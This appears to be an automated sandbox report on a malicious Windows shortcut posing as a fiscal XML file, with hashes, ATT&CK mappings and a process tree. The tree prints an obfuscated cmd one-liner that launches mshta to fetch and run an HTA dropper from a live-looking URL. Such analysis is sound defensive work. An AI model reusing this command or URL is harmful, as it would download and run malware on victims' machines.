f847b9cda9ccd19b16a05ee606b91590ef46f69a94a2a365e2c85cc7a962b439

Analysis

max time kernel
60s
max time network
23s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 04:31

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General

Target
Xml_Fiscal_-SKP5RX.lnk
Size 1KB
Sample260818-e5e68swzf1
SHA256 f847b9cda9ccd19b16a05ee606b91590ef46f69a94a2a365e2c85cc7a962b439
MD5 443eddd857b533c828ac9193b36c513f
SHA1 9361aa8ccc5ef136e9e62c13da3aef7ae84a22cd
SHA512 1f33ca548d1fe9c41a05864bb75cf6be5a23c151d4781906c4a88d7a7934fd494e99e80c7999e5bdb72afe6a304cea95dc0c1cd2d404157feff050c994cd0736
TLSH
T1543197002EFE0660F3F38E7784BB572089BBB8558D24C61E40404A4C5472A01E67AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://doc.nfiscais.com/h/estagio1.php?r=391C7CE85D88

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
916	cmd.exe
3376	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 916 wrote to memory of 3376	916	cmd.exe	90
PID 3376 wrote to memory of 2580	3376	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Xml_Fiscal_-SKP5RX.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:916
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set BaK=msh&&set dQMWo=ta&&start "" !BaK!!dQMWo! https://doc.nfiscais.com/h/estagio1.php?r=391C7CE85D88"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3376
- - C:\Windows\System32\mshta.exe
    mshta https://doc.nfiscais.com/h/estagio1.php?r=391C7CE85D88
    3⤵
    PID:2580

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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